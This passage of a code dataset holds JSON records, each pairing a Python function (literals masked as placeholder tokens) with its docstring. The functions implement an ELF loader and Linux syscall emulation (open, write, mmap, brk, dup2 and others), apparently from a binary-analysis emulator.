reversed(argvlst):              <EOL><INDENT>cpu.push_int(arg)<EOL><DEDENT>argv = cpu.STACK<EOL>cpu.push_int(len(argvlst))<EOL>", "docstring": ":param Cpu cpu: The cpu instance\n:param argv: list of parameters for the program to execute.\n:param envp: list of environment variables for the program to execute.\n\nhttp://www.phrack.org/issues.html?issue=58&id=5#article\n position            content                     size (bytes) + comment\n ----------------------------------------------------------------------\n stack pointer ->  [ argc = number of args ]     4\n                 [ argv[0] (pointer) ]         4   (program name)\n                 [ argv[1] (pointer) ]         4\n                 [ argv[..] (pointer) ]        4 * x\n                 [ argv[n - 1] (pointer) ]     4\n                 [ argv[n] (pointer) ]         4   (= NULL)\n\n                 [ envp[0] (pointer) ]         4\n                 [ envp[1] (pointer) ]         4\n                 [ envp[..] (pointer) ]        4\n                 [ envp[term] (pointer) ]      4   (= NULL)\n\n                 [ auxv[0] (Elf32_auxv_t) ]    8\n                 [ auxv[1] (Elf32_auxv_t) ]    8\n                 [ auxv[..] (Elf32_auxv_t) ]   8\n                 [ auxv[term] (Elf32_auxv_t) ] 8   (= AT_NULL vector)\n\n                 [ padding ]                   0 - 16\n\n                 [ argument ASCIIZ strings ]   >= 0\n                 [ environment ASCIIZ str. ]   >= 0\n\n (0xbffffffc)      [ end marker ]                4   (= NULL)\n\n (0xc0000000)      < top of stack >              0   (virtual)\n ----------------------------------------------------------------------", "id": "f17024:c9:m15"}
{"signature": "def load(self, filename, env):", "body": "<EOL>cpu = self.current<EOL>elf = self.elf<EOL>arch = self.arch<EOL>env = dict(var.split('<STR_LIT:=>') for var in env if '<STR_LIT:=>' in var)<EOL>addressbitsize = {'<STR_LIT>': <NUM_LIT:32>, '<STR_LIT>': <NUM_LIT:64>, '<STR_LIT>': <NUM_LIT:32>}[elf.get_machine_arch()]<EOL>logger.debug(\"<STR_LIT>\", filename, arch)<EOL>assert elf.header.e_type in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>interpreter = None<EOL>for elf_segment in elf.iter_segments():<EOL><INDENT>if elf_segment.header.p_type != '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>interpreter_filename = elf_segment.data()[:-<NUM_LIT:1>]<EOL>logger.info(f'<STR_LIT>')<EOL>if os.path.exists(interpreter_filename.decode('<STR_LIT:utf-8>')):<EOL><INDENT>interpreter = ELFFile(open(interpreter_filename, '<STR_LIT:rb>'))<EOL><DEDENT>elif '<STR_LIT>' in env:<EOL><INDENT>for mpath in env['<STR_LIT>'].split(\"<STR_LIT::>\"):<EOL><INDENT>interpreter_path_filename = os.path.join(mpath, os.path.basename(interpreter_filename))<EOL>logger.info(f\"<STR_LIT>\")<EOL>if os.path.exists(interpreter_path_filename):<EOL><INDENT>interpreter = ELFFile(open(interpreter_path_filename, '<STR_LIT:rb>'))<EOL>break<EOL><DEDENT><DEDENT><DEDENT>break<EOL><DEDENT>if interpreter is not None:<EOL><INDENT>assert interpreter.get_machine_arch() == elf.get_machine_arch()<EOL>assert interpreter.header.e_type in ['<STR_LIT>', '<STR_LIT>']<EOL><DEDENT>executable_stack = False<EOL>for elf_segment in elf.iter_segments():<EOL><INDENT>if elf_segment.header.p_type != '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>if elf_segment.header.p_flags & <NUM_LIT>:<EOL><INDENT>executable_stack = True<EOL><DEDENT>else:<EOL><INDENT>executable_stack = False<EOL><DEDENT>break<EOL><DEDENT>base = <NUM_LIT:0><EOL>elf_bss = <NUM_LIT:0><EOL>end_code = <NUM_LIT:0><EOL>end_data = <NUM_LIT:0><EOL>elf_brk = <NUM_LIT:0><EOL>self.load_addr = <NUM_LIT:0><EOL>for elf_segment in elf.iter_segments():<EOL><INDENT>if elf_segment.header.p_type != '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>align = <NUM_LIT>  <EOL>ELF_PAGEOFFSET = elf_segment.header.p_vaddr & (align - <NUM_LIT:1>)<EOL>flags = elf_segment.header.p_flags<EOL>memsz = elf_segment.header.p_memsz + ELF_PAGEOFFSET<EOL>offset = elf_segment.header.p_offset - ELF_PAGEOFFSET<EOL>filesz = elf_segment.header.p_filesz + ELF_PAGEOFFSET<EOL>vaddr = elf_segment.header.p_vaddr - ELF_PAGEOFFSET<EOL>memsz = cpu.memory._ceil(memsz)<EOL>if base == <NUM_LIT:0> and elf.header.e_type == '<STR_LIT>':<EOL><INDENT>assert vaddr == <NUM_LIT:0><EOL>if addressbitsize == <NUM_LIT:32>:<EOL><INDENT>base = <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>base = <NUM_LIT><EOL><DEDENT><DEDENT>perms = perms_from_elf(flags)<EOL>hint = base + vaddr<EOL>if hint == <NUM_LIT:0>:<EOL><INDENT>hint = None<EOL><DEDENT>logger.debug(f\"<STR_LIT>\")<EOL>base = cpu.memory.mmapFile(hint, memsz, perms, elf_segment.stream.name, offset) - vaddr<EOL>if self.load_addr == <NUM_LIT:0>:<EOL><INDENT>self.load_addr = base + vaddr<EOL><DEDENT>k = base + vaddr + filesz<EOL>if k > elf_bss:<EOL><INDENT>elf_bss = k<EOL><DEDENT>if (flags & <NUM_LIT:4>) and end_code < k:  <EOL><INDENT>end_code = k<EOL><DEDENT>if end_data < k:<EOL><INDENT>end_data = k<EOL><DEDENT>k = base + vaddr + memsz<EOL>if k > elf_brk:<EOL><INDENT>elf_brk = k<EOL><DEDENT><DEDENT>elf_entry = elf.header.e_entry<EOL>if elf.header.e_type == '<STR_LIT>':<EOL><INDENT>elf_entry += self.load_addr<EOL><DEDENT>entry = elf_entry<EOL>real_elf_brk = elf_brk<EOL>bytes_to_clear = elf_brk - elf_bss<EOL>if bytes_to_clear > <NUM_LIT:0>:<EOL><INDENT>logger.debug(f\"<STR_LIT>\")<EOL>cpu.write_bytes(elf_bss, '<STR_LIT:\\x00>' * bytes_to_clear, force=True)<EOL><DEDENT>stack_size = <NUM_LIT><EOL>if addressbitsize == <NUM_LIT:32>:<EOL><INDENT>stack_top = <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>stack_top = <NUM_LIT><EOL><DEDENT>stack_base = stack_top - stack_size<EOL>stack = cpu.memory.mmap(stack_base, stack_size, '<STR_LIT>', name='<STR_LIT>') + stack_size<EOL>assert stack_top == stack<EOL>reserved = cpu.memory.mmap(base + vaddr + memsz, <NUM_LIT>, '<STR_LIT:U+0020>')<EOL>interpreter_base = <NUM_LIT:0><EOL>if interpreter is not None:<EOL><INDENT>base = <NUM_LIT:0><EOL>elf_bss = <NUM_LIT:0><EOL>end_code = <NUM_LIT:0><EOL>end_data = <NUM_LIT:0><EOL>elf_brk = <NUM_LIT:0><EOL>entry = interpreter.header.e_entry<EOL>for elf_segment in interpreter.iter_segments():<EOL><INDENT>if elf_segment.header.p_type != '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>align = <NUM_LIT>  <EOL>vaddr = elf_segment.header.p_vaddr<EOL>filesz = elf_segment.header.p_filesz<EOL>flags = elf_segment.header.p_flags<EOL>offset = elf_segment.header.p_offset<EOL>memsz = elf_segment.header.p_memsz<EOL>ELF_PAGEOFFSET = (vaddr & (align - <NUM_LIT:1>))<EOL>memsz = memsz + ELF_PAGEOFFSET<EOL>offset = offset - ELF_PAGEOFFSET<EOL>filesz = filesz + ELF_PAGEOFFSET<EOL>vaddr = vaddr - ELF_PAGEOFFSET<EOL>memsz = cpu.memory._ceil(memsz)<EOL>if base == <NUM_LIT:0> and interpreter.header.e_type == '<STR_LIT>':<EOL><INDENT>assert vaddr == <NUM_LIT:0><EOL>total_size = self._interp_total_size(interpreter)<EOL>base = stack_base - total_size<EOL><DEDENT>if base == <NUM_LIT:0>:<EOL><INDENT>assert vaddr == <NUM_LIT:0><EOL><DEDENT>perms = perms_from_elf(flags)<EOL>hint = base + vaddr<EOL>if hint == <NUM_LIT:0>:<EOL><INDENT>hint = None<EOL><DEDENT>base = cpu.memory.mmapFile(hint, memsz, perms, elf_segment.stream.name, offset)<EOL>base -= vaddr<EOL>logger.debug(<EOL>f\"<STR_LIT>\"<EOL>f\"<STR_LIT>\"<EOL>f\"<STR_LIT>\"<EOL>f\"<STR_LIT>\"<EOL>f\"<STR_LIT>\"<EOL>f\"<STR_LIT>\"<EOL>)<EOL>k = base + vaddr + filesz<EOL>if k > elf_bss:<EOL><INDENT>elf_bss = k<EOL><DEDENT>if (flags & <NUM_LIT:4>) and end_code < k:  <EOL><INDENT>end_code = k<EOL><DEDENT>if end_data < k:<EOL><INDENT>end_data = k<EOL><DEDENT>k = base + vaddr + memsz<EOL>if k > elf_brk:<EOL><INDENT>elf_brk = k<EOL><DEDENT><DEDENT>if interpreter.header.e_type == '<STR_LIT>':<EOL><INDENT>entry += base<EOL><DEDENT>interpreter_base = base<EOL>bytes_to_clear = elf_brk - elf_bss<EOL>if bytes_to_clear > <NUM_LIT:0>:<EOL><INDENT>logger.debug(f\"<STR_LIT>\")<EOL>cpu.write_bytes(elf_bss, '<STR_LIT:\\x00>' * bytes_to_clear, force=True)<EOL><DEDENT><DEDENT>cpu.memory.munmap(reserved, <NUM_LIT>)<EOL>cpu.STACK = stack<EOL>cpu.PC = entry<EOL>logger.debug(f\"<STR_LIT>\")<EOL>logger.debug(f\"<STR_LIT>\")<EOL>logger.debug(f\"<STR_LIT>\")<EOL>logger.debug(f\"<STR_LIT>\")<EOL>for m in str(cpu.memory).split('<STR_LIT:\\n>'):<EOL><INDENT>logger.debug(f\"<STR_LIT>\")<EOL><DEDENT>self.base = base<EOL>self.elf_bss = elf_bss<EOL>self.end_code = end_code<EOL>self.end_data = end_data<EOL>self.elf_brk = real_elf_brk<EOL>self.brk = real_elf_brk<EOL>at_random = cpu.push_bytes('<STR_LIT:A>' * <NUM_LIT:16>)<EOL>at_execfn = cpu.push_bytes(f'<STR_LIT>')<EOL>self.auxv = {<EOL>'<STR_LIT>': self.load_addr + elf.header.e_phoff,  <EOL>'<STR_LIT>': elf.header.e_phentsize,       <EOL>'<STR_LIT>': elf.header.e_phnum,           <EOL>'<STR_LIT>': cpu.memory.page_size,         <EOL>'<STR_LIT>': interpreter_base,             <EOL>'<STR_LIT>': elf.header.e_flags,           <EOL>'<STR_LIT>': elf_entry,                    <EOL>'<STR_LIT>': <NUM_LIT:1000>,                         <EOL>'<STR_LIT>': <NUM_LIT:1000>,                         <EOL>'<STR_LIT>': <NUM_LIT:1000>,                         <EOL>'<STR_LIT>': <NUM_LIT:1000>,                         <EOL>'<STR_LIT>': <NUM_LIT:100>,                          <EOL>'<STR_LIT>': <NUM_LIT:0>,                            <EOL>'<STR_LIT>': at_random,                    <EOL>'<STR_LIT>': at_execfn,                    <EOL>}<EOL>", "docstring": "Loads and an ELF program in memory and prepares the initial CPU state.\nCreates the stack and loads the environment variables and the arguments in it.\n\n:param filename: pathname of the file to be executed. (used for auxv)\n:param list env: A list of env variables. (used for extracting vars that control ld behavior)\n:raises error:\n    - 'Not matching cpu': if the program is compiled for a different architecture\n    - 'Not matching memory': if the program is compiled for a different address size\n:todo: define va_randomize and read_implies_exec personality", "id": "f17024:c9:m17"}
{"signature": "def _open(self, f):", "body": "if None in self.files:<EOL><INDENT>fd = self.files.index(None)<EOL>self.files[fd] = f<EOL><DEDENT>else:<EOL><INDENT>fd = len(self.files)<EOL>self.files.append(f)<EOL><DEDENT>return fd<EOL>", "docstring": "Adds a file descriptor to the current file descriptor list\n\n:rtype: int\n:param f: the file descriptor to add.\n:return: the index of the file descriptor in the file descr. list", "id": "f17024:c9:m19"}
{"signature": "def _close(self, fd):", "body": "try:<EOL><INDENT>self.files[fd].close()<EOL>self._closed_files.append(self.files[fd])  <EOL>self.files[fd] = None<EOL><DEDENT>except IndexError:<EOL><INDENT>raise FdError(f\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Removes a file descriptor from the file descriptor list\n:rtype: int\n:param fd: the file descriptor to close.\n:return: C{0} on success.", "id": "f17024:c9:m20"}
{"signature": "def _dup(self, fd):", "body": "return self._open(self.files[fd])<EOL>", "docstring": "Duplicates a file descriptor\n:rtype: int\n:param fd: the file descriptor to duplicate.\n:return: C{0} on success.", "id": "f17024:c9:m21"}
{"signature": "def _is_fd_open(self, fd):", "body": "return fd >= <NUM_LIT:0> and fd < len(self.files) and self.files[fd] is not None<EOL>", "docstring": "Determines if the fd is within range and in the file descr. list\n:param fd: the file descriptor to check.", "id": "f17024:c9:m22"}
{"signature": "def _transform_write_data(self, data: T) -> T:", "body": "return data<EOL>", "docstring": "Implement in subclass to transform data written by write(2)/writev(2)\nNop by default.", "id": "f17024:c9:m24"}
{"signature": "def sys_umask(self, mask):", "body": "logger.debug(f\"<STR_LIT>\")<EOL>return os.umask(mask)<EOL>", "docstring": "umask - Set file creation mode mask\n:param int mask: New mask", "id": "f17024:c9:m26"}
{"signature": "def sys_chdir(self, path):", "body": "path_str = self.current.read_string(path)<EOL>logger.debug(f\"<STR_LIT>\")<EOL>try:<EOL><INDENT>os.chdir(path_str)<EOL>return <NUM_LIT:0><EOL><DEDENT>except OSError as e:<EOL><INDENT>return e.errno<EOL><DEDENT>", "docstring": "chdir - Change current working directory\n:param int path: Pointer to path", "id": "f17024:c9:m27"}
{"signature": "def sys_getcwd(self, buf, size):", "body": "try:<EOL><INDENT>current_dir = os.getcwd()<EOL>length = len(current_dir) + <NUM_LIT:1><EOL>if size > <NUM_LIT:0> and size < length:<EOL><INDENT>logger.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>return -errno.ERANGE<EOL><DEDENT>if not self.current.memory.access_ok(slice(buf, buf + length), '<STR_LIT:w>'):<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return -errno.EFAULT<EOL><DEDENT>self.current.write_string(buf, current_dir)<EOL>logger.debug(f\"<STR_LIT>\")<EOL>return length<EOL><DEDENT>except OSError as e:<EOL><INDENT>return -e.errno<EOL><DEDENT>", "docstring": "getcwd - Get the current working directory\n:param int buf: Pointer to dest array\n:param size: size in bytes of the array pointed to by the buf\n:return: buf (Success), or 0", "id": "f17024:c9:m28"}
{"signature": "def sys_lseek(self, fd, offset, whence):", "body": "signed_offset = self._to_signed_dword(offset)<EOL>try:<EOL><INDENT>return self._get_fd(fd).seek(signed_offset, whence)<EOL><DEDENT>except FdError as e:<EOL><INDENT>logger.info((\"<STR_LIT>\"<EOL>\"<STR_LIT>\"))<EOL>return -e.err<EOL><DEDENT>", "docstring": "lseek - reposition read/write file offset\n\nThe lseek() function repositions the file offset of the open file description associated\nwith the file descriptor fd to the argument offset according to the directive whence\n\n\n:param fd: a valid file descriptor\n:param offset: the offset in bytes\n:param whence: SEEK_SET: The file offset is set to offset bytes.\n               SEEK_CUR: The file offset is set to its current location plus offset bytes.\n               SEEK_END: The file offset is set to the size of the file plus offset bytes.\n\n:return: offset from file beginning, or EBADF (fd is not a valid file descriptor or is not open)", "id": "f17024:c9:m29"}
{"signature": "def sys_write(self, fd, buf, count):", "body": "data: bytes = bytes()<EOL>cpu = self.current<EOL>if count != <NUM_LIT:0>:<EOL><INDENT>try:<EOL><INDENT>write_fd = self._get_fd(fd)<EOL><DEDENT>except FdError as e:<EOL><INDENT>logger.error(f\"<STR_LIT>\")<EOL>return -e.err<EOL><DEDENT>if buf not in cpu.memory or buf + count not in cpu.memory:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return -errno.EFAULT<EOL><DEDENT>if fd > <NUM_LIT:2> and write_fd.is_full():<EOL><INDENT>cpu.PC -= cpu.instruction.size<EOL>self.wait([], [fd], None)<EOL>raise RestartSyscall()<EOL><DEDENT>data: MixedSymbolicBuffer = cpu.read_bytes(buf, count)<EOL>data: bytes = self._transform_write_data(data)<EOL>write_fd.write(data)<EOL>for line in data.split(b'<STR_LIT:\\n>'):<EOL><INDENT>line = line.decode('<STR_LIT>')  <EOL>logger.debug(f\"<STR_LIT>\")<EOL><DEDENT>self.syscall_trace.append((\"<STR_LIT>\", fd, data))<EOL>self.signal_transmit(fd)<EOL><DEDENT>return len(data)<EOL>", "docstring": "write - send bytes through a file descriptor\n          The write system call writes up to count bytes from the buffer pointed\n          to by buf to the file descriptor fd. If count is zero, write returns 0\n          and optionally sets *tx_bytes to zero.\n\n          :param fd            a valid file descriptor\n          :param buf           a memory buffer\n          :param count         number of bytes to send\n          :return: 0          Success\n                    EBADF      fd is not a valid file descriptor or is not open.\n                    EFAULT     buf or tx_bytes points to an invalid address.", "id": "f17024:c9:m31"}
{"signature": "def sys_fork(self):", "body": "return -errno.ENOSYS<EOL>", "docstring": "We don't support forking, but do return a valid error code to client binary.", "id": "f17024:c9:m32"}
{"signature": "def sys_access(self, buf, mode):", "body": "filename = b'<STR_LIT>'<EOL>for i in range(<NUM_LIT:0>, <NUM_LIT:255>):<EOL><INDENT>c = Operators.CHR(self.current.read_int(buf + i, <NUM_LIT:8>))<EOL>if c == b'<STR_LIT:\\x00>':<EOL><INDENT>break<EOL><DEDENT>filename += c<EOL><DEDENT>if os.access(filename, mode):<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>", "docstring": "Checks real user's permissions for a file\n:rtype: int\n\n:param buf: a buffer containing the pathname to the file to check its permissions.\n:param mode: the access permissions to check.\n:return:\n    -  C{0} if the calling process can access the file in the desired mode.\n    - C{-1} if the calling process can not access the file in the desired mode.", "id": "f17024:c9:m33"}
{"signature": "def sys_newuname(self, old_utsname):", "body": "from datetime import datetime<EOL>def pad(s):<EOL><INDENT>return s + '<STR_LIT:\\x00>' * (<NUM_LIT> - len(s))<EOL><DEDENT>now = datetime(<NUM_LIT>, <NUM_LIT:8>, <NUM_LIT>).strftime(\"<STR_LIT>\")<EOL>info = (('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT:version>', '<STR_LIT>' + now),<EOL>('<STR_LIT>', self._uname_machine),<EOL>('<STR_LIT>', '<STR_LIT>'))<EOL>uname_buf = '<STR_LIT>'.join(pad(pair[<NUM_LIT:1>]) for pair in info)<EOL>self.current.write_bytes(old_utsname, uname_buf)<EOL>return <NUM_LIT:0><EOL>", "docstring": "Writes system information in the variable C{old_utsname}.\n:rtype: int\n:param old_utsname: the buffer to write the system info.\n:return: C{0} on success", "id": "f17024:c9:m34"}
{"signature": "def sys_brk(self, brk):", "body": "if brk != <NUM_LIT:0> and brk > self.elf_brk:<EOL><INDENT>mem = self.current.memory<EOL>size = brk - self.brk<EOL>if brk > mem._ceil(self.brk):<EOL><INDENT>perms = mem.perms(self.brk - <NUM_LIT:1>)<EOL>addr = mem.mmap(mem._ceil(self.brk), size, perms)<EOL>if not mem._ceil(self.brk) == addr:<EOL><INDENT>logger.error(f\"<STR_LIT>\")<EOL>return self.brk<EOL><DEDENT><DEDENT>self.brk += size<EOL><DEDENT>return self.brk<EOL>", "docstring": "Changes data segment size (moves the C{brk} to the new address)\n:rtype: int\n:param brk: the new address for C{brk}.\n:return: the value of the new C{brk}.\n:raises error:\n            - \"Error in brk!\" if there is any error allocating the memory", "id": "f17024:c9:m35"}
{"signature": "def sys_arch_prctl(self, code, addr):", "body": "ARCH_SET_GS = <NUM_LIT><EOL>ARCH_SET_FS = <NUM_LIT><EOL>ARCH_GET_FS = <NUM_LIT><EOL>ARCH_GET_GS = <NUM_LIT><EOL>if code not in {ARCH_SET_GS, ARCH_SET_FS, ARCH_GET_FS, ARCH_GET_GS}:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return -errno.EINVAL<EOL><DEDENT>if code != ARCH_SET_FS:<EOL><INDENT>raise NotImplementedError(\"<STR_LIT>\")<EOL><DEDENT>self.current.FS = <NUM_LIT><EOL>self.current.set_descriptor(self.current.FS, addr, <NUM_LIT>, '<STR_LIT>')<EOL>return <NUM_LIT:0><EOL>", "docstring": "Sets architecture-specific thread state\n:rtype: int\n\n:param code: must be C{ARCH_SET_FS}.\n:param addr: the base address of the FS segment.\n:return: C{0} on success\n:raises error:\n    - if C{code} is different to C{ARCH_SET_FS}", "id": "f17024:c9:m36"}
{"signature": "def sys_open(self, buf, flags, mode):", "body": "filename = self.current.read_string(buf)<EOL>try:<EOL><INDENT>f = self._sys_open_get_file(filename, flags)<EOL>logger.debug(f\"<STR_LIT>\")<EOL><DEDENT>except IOError as e:<EOL><INDENT>logger.warning(f\"<STR_LIT>\")<EOL>return -e.errno if e.errno is not None else -errno.EINVAL<EOL><DEDENT>return self._open(f)<EOL>", "docstring": ":param buf: address of zero-terminated pathname\n:param flags: file access bits\n:param mode: file permission mode", "id": "f17024:c9:m39"}
{"signature": "def sys_openat(self, dirfd, buf, flags, mode):", "body": "filename = self.current.read_string(buf)<EOL>dirfd = ctypes.c_int32(dirfd).value<EOL>if os.path.isabs(filename) or dirfd == self.FCNTL_FDCWD:<EOL><INDENT>return self.sys_open(buf, flags, mode)<EOL><DEDENT>try:<EOL><INDENT>dir_entry = self._get_fd(dirfd)<EOL><DEDENT>except FdError as e:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return -e.err<EOL><DEDENT>if not isinstance(dir_entry, Directory):<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return -errno.ENOTDIR<EOL><DEDENT>dir_path = dir_entry.name<EOL>filename = os.path.join(dir_path, filename)<EOL>try:<EOL><INDENT>f = self._sys_open_get_file(filename, flags)<EOL>logger.debug(f\"<STR_LIT>\")<EOL><DEDENT>except IOError as e:<EOL><INDENT>logger.info(f\"<STR_LIT>\")<EOL>return -e.errno if e.errno is not None else -errno.EINVAL<EOL><DEDENT>return self._open(f)<EOL>", "docstring": "Openat SystemCall - Similar to open system call except dirfd argument\nwhen path contained in buf is relative, dirfd is referred to set the relative path\nSpecial value AT_FDCWD set for dirfd to set path relative to current directory\n\n:param dirfd: directory file descriptor to refer in case of relative path at buf\n:param buf: address of zero-terminated pathname\n:param flags: file access bits\n:param mode: file permission mode", "id": "f17024:c9:m40"}
{"signature": "def sys_rename(self, oldnamep, newnamep):", "body": "oldname = self.current.read_string(oldnamep)<EOL>newname = self.current.read_string(newnamep)<EOL>ret = <NUM_LIT:0><EOL>try:<EOL><INDENT>os.rename(oldname, newname)<EOL><DEDENT>except OSError as e:<EOL><INDENT>ret = -e.errno<EOL><DEDENT>return ret<EOL>", "docstring": "Rename filename `oldnamep` to `newnamep`.\n\n:param int oldnamep: pointer to oldname\n:param int newnamep: pointer to newname", "id": "f17024:c9:m41"}
{"signature": "def sys_fsync(self, fd):", "body": "ret = <NUM_LIT:0><EOL>try:<EOL><INDENT>self.files[fd].sync()<EOL><DEDENT>except IndexError:<EOL><INDENT>ret = -errno.EBADF<EOL><DEDENT>except FdError:<EOL><INDENT>ret = -errno.EINVAL<EOL><DEDENT>return ret<EOL>", "docstring": "Synchronize a file's in-core state with that on disk.", "id": "f17024:c9:m42"}
{"signature": "def sys_rt_sigaction(self, signum, act, oldact):", "body": "return self.sys_sigaction(signum, act, oldact)<EOL>", "docstring": "Wrapper for sys_sigaction", "id": "f17024:c9:m47"}
{"signature": "def sys_rt_sigprocmask(self, cpu, how, newset, oldset):", "body": "return self.sys_sigprocmask(cpu, how, newset, oldset)<EOL>", "docstring": "Wrapper for sys_sigprocmask", "id": "f17024:c9:m49"}
{"signature": "def sys_dup(self, fd):", "body": "if not self._is_fd_open(fd):<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return -errno.EBADF<EOL><DEDENT>newfd = self._dup(fd)<EOL>return newfd<EOL>", "docstring": "Duplicates an open file descriptor\n:rtype: int\n:param fd: the open file descriptor to duplicate.\n:return: the new file descriptor.", "id": "f17024:c9:m51"}
{"signature": "def sys_dup2(self, fd, newfd):", "body": "try:<EOL><INDENT>file = self._get_fd(fd)<EOL><DEDENT>except FdError as e:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return -e.err<EOL><DEDENT>soft_max, hard_max = self._rlimits[self.RLIMIT_NOFILE]<EOL>if newfd >= soft_max:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>return -errno.EBADF<EOL><DEDENT>if self._is_fd_open(newfd):<EOL><INDENT>self._close(newfd)<EOL><DEDENT>if newfd >= len(self.files):<EOL><INDENT>self.files.extend([None] * (newfd + <NUM_LIT:1> - len(self.files)))<EOL><DEDENT>self.files[newfd] = self.files[fd]<EOL>logger.debug('<STR_LIT>', fd, newfd, newfd)<EOL>return newfd<EOL>", "docstring": "Duplicates an open fd to newfd. If newfd is open, it is first closed\n:rtype: int\n:param fd: the open file descriptor to duplicate.\n:param newfd: the file descriptor to alias the file described by fd.\n:return: newfd.", "id": "f17024:c9:m52"}
{"signature": "def sys_chroot(self, path):", "body": "if path not in self.current.memory:<EOL><INDENT>return -errno.EFAULT<EOL><DEDENT>path_s = self.current.read_string(path)<EOL>if not os.path.exists(path_s):<EOL><INDENT>return -errno.ENOENT<EOL><DEDENT>if not os.path.isdir(path_s):<EOL><INDENT>return -errno.ENOTDIR<EOL><DEDENT>return -errno.EPERM<EOL>", "docstring": "An implementation of chroot that does perform some basic error checking,\nbut does not actually chroot.\n\n:param path: Path to chroot", "id": "f17024:c9:m53"}
{"signature": "def sys_close(self, fd):", "body": "if self._is_fd_open(fd):<EOL><INDENT>self._close(fd)<EOL><DEDENT>else:<EOL><INDENT>return -errno.EBADF<EOL><DEDENT>logger.debug(f'<STR_LIT>')<EOL>return <NUM_LIT:0><EOL>", "docstring": "Closes a file descriptor\n:rtype: int\n:param fd: the file descriptor to close.\n:return: C{0} on success.", "id": "f17024:c9:m54"}
{"signature": "def sys_readlink(self, path, buf, bufsize):", "body": "if bufsize <= <NUM_LIT:0>:<EOL><INDENT>return -errno.EINVAL<EOL><DEDENT>filename = self.current.read_string(path)<EOL>if filename == '<STR_LIT>':<EOL><INDENT>data = os.path.abspath(self.program)<EOL><DEDENT>else:<EOL><INDENT>data = os.readlink(filename)[:bufsize]<EOL><DEDENT>self.current.write_bytes(buf, data)<EOL>return len(data)<EOL>", "docstring": "Read\n:rtype: int\n\n:param path: the \"link path id\"\n:param buf: the buffer where the bytes will be putted.\n:param bufsize: the max size for read the link.\n:todo: Out eax number of bytes actually sent | EAGAIN | EBADF | EFAULT | EINTR | errno.EINVAL | EIO | ENOSPC | EPIPE", "id": "f17024:c9:m55"}
{"signature": "def sys_mmap_pgoff(self, address, size, prot, flags, fd, offset):", "body": "return self.sys_mmap2(address, size, prot, flags, fd, offset)<EOL>", "docstring": "Wrapper for mmap2", "id": "f17024:c9:m56"}
{"signature": "def sys_mmap2(self, address, size, prot, flags, fd, offset):", "body": "return self.sys_mmap(address, size, prot, flags, fd, offset * <NUM_LIT>)<EOL>", "docstring": "Creates a new mapping in the virtual address space of the calling process.\n:rtype: int\n:param address: the starting address for the new mapping. This address is used as hint unless the\n                flag contains C{MAP_FIXED}.\n:param size: the length of the mapping.\n:param prot: the desired memory protection of the mapping.\n:param flags: determines whether updates to the mapping are visible to other\n              processes mapping the same region, and whether updates are carried\n              through to the underlying file.\n:param fd: the contents of a file mapping are initialized using C{size} bytes starting at\n           offset C{offset} in the file referred to by the file descriptor C{fd}.\n:param offset: the contents of a file mapping are initialized using C{size} bytes starting at\n               offset C{offset}*0x1000 in the file referred to by the file descriptor C{fd}.\n:return:\n    - C{-1} In case you use C{MAP_FIXED} in the flags and the mapping can not be place at the desired address.\n    - the address of the new mapping.", "id": "f17024:c9:m57"}
{"signature": "def sys_mmap(self, address, size, prot, flags, fd, offset):", "body": "if address == <NUM_LIT:0>:<EOL><INDENT>address = None<EOL><DEDENT>cpu = self.current<EOL>if flags & <NUM_LIT>:<EOL><INDENT>cpu.memory.munmap(address, size)<EOL><DEDENT>perms = perms_from_protflags(prot)<EOL>if flags & <NUM_LIT>:<EOL><INDENT>result = cpu.memory.mmap(address, size, perms)<EOL><DEDENT>elif fd == <NUM_LIT:0>:<EOL><INDENT>assert offset == <NUM_LIT:0><EOL>result = cpu.memory.mmap(address, size, perms)<EOL>data = self.files[fd].read(size)<EOL>cpu.write_bytes(result, data)<EOL><DEDENT>else:<EOL><INDENT>result = cpu.memory.mmapFile(address, size, perms, self.files[fd].name, offset)<EOL><DEDENT>actually_mapped = f'<STR_LIT>'<EOL>if address is None or result != address:<EOL><INDENT>address = address or <NUM_LIT:0><EOL>actually_mapped += f'<STR_LIT>'<EOL><DEDENT>if flags & <NUM_LIT> != <NUM_LIT:0> and result != address:<EOL><INDENT>cpu.memory.munmap(result, size)<EOL>result = -<NUM_LIT:1><EOL><DEDENT>return result<EOL>", "docstring": "Creates a new mapping in the virtual address space of the calling process.\n:rtype: int\n\n:param address: the starting address for the new mapping. This address is used as hint unless the\n                flag contains C{MAP_FIXED}.\n:param size: the length of the mapping.\n:param prot: the desired memory protection of the mapping.\n:param flags: determines whether updates to the mapping are visible to other\n              processes mapping the same region, and whether updates are carried\n              through to the underlying file.\n:param fd: the contents of a file mapping are initialized using C{size} bytes starting at\n           offset C{offset} in the file referred to by the file descriptor C{fd}.\n:param offset: the contents of a file mapping are initialized using C{size} bytes starting at\n               offset C{offset} in the file referred to by the file descriptor C{fd}.\n:return:\n        - C{-1} in case you use C{MAP_FIXED} in the flags and the mapping can not be place at the desired address.\n        - the address of the new mapping (that must be the same as address in case you included C{MAP_FIXED} in flags).\n:todo: handle exception.", "id": "f17024:c9:m58"}
